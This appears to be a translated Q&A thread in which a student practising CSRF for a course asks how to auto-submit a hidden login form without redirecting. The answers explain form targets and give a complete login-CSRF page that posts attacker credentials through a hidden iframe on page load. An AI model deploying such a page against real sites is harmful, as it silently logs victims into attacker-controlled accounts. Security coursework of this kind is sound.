通过javascript提交表单而无需重定向

时间:2015-11-20 22:48:49

标签: javascript html

我正在为我的课程练习CSRF攻击,我必须通过创建一个虚假的网站来攻击虚拟网站。页。我有以下代码

csrf.html

<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
    <form name ='csrf_form' action='http://course_website/login' method="POST">
        <input type='hidden' name='username' value='attacker_id'>
        <input type='hidden' name='password' value='attacker_pw'>
    </form>
    <script>
        document.csrf_form.submit();
    </script>
</body>

上述代码完美无缺,但每次打开 csrf.html 时,它都会打开course_website页面。我只是希望它保留在 csrf.html 上,而不是重定向/打开新标签页。

在浏览了SO之后(我不太了解js ..),我试过了

<script>
        document.csrf_form.submit(function(){
           return false;
        });
</script>

并在表单中添加onsubmit = return false;,但都不起作用。

这里最好的事情是什么?

PS:不确定这是否会发生任何变化,但我在表单中使用action反对target,因为一个有效,另一个没有。我需要注意什么?

2 个答案:

答案 0 :(得分:3)

  

但是我使用行动反对我的形式作为目标,因为一个有效,另一个没有

targetaction完全不同。

  • action指定发送请求的网址。
  • target指定在
  • 中打开对该请求的响应的框架

如果您不想离开当前页面,则需要将target指定为框架或新窗口。省略它是因为新页面在当前窗口中加载并替换包含表单的文档。

如果还可以(有点)通过取消表单提交而不离开页面提交表单,然后使用JavaScript(通常通过XMLHttpRequest对象)进行模拟。但是,CSRF攻击将是跨域起源的,因此该方法可能会因同源策略而失败。

答案 1 :(得分:1)

E.g。您的代码中的上述答案

<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
    <form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST">
        <input type='hidden' name='username' value='attacker_id'>
        <input type='hidden' name='password' value='attacker_pw'>
    </form>
    <iframe name='hiddenFrame'  style='display:none'></iframe>
    <script>
        document.csrf_form.submit();
    </script>
</body>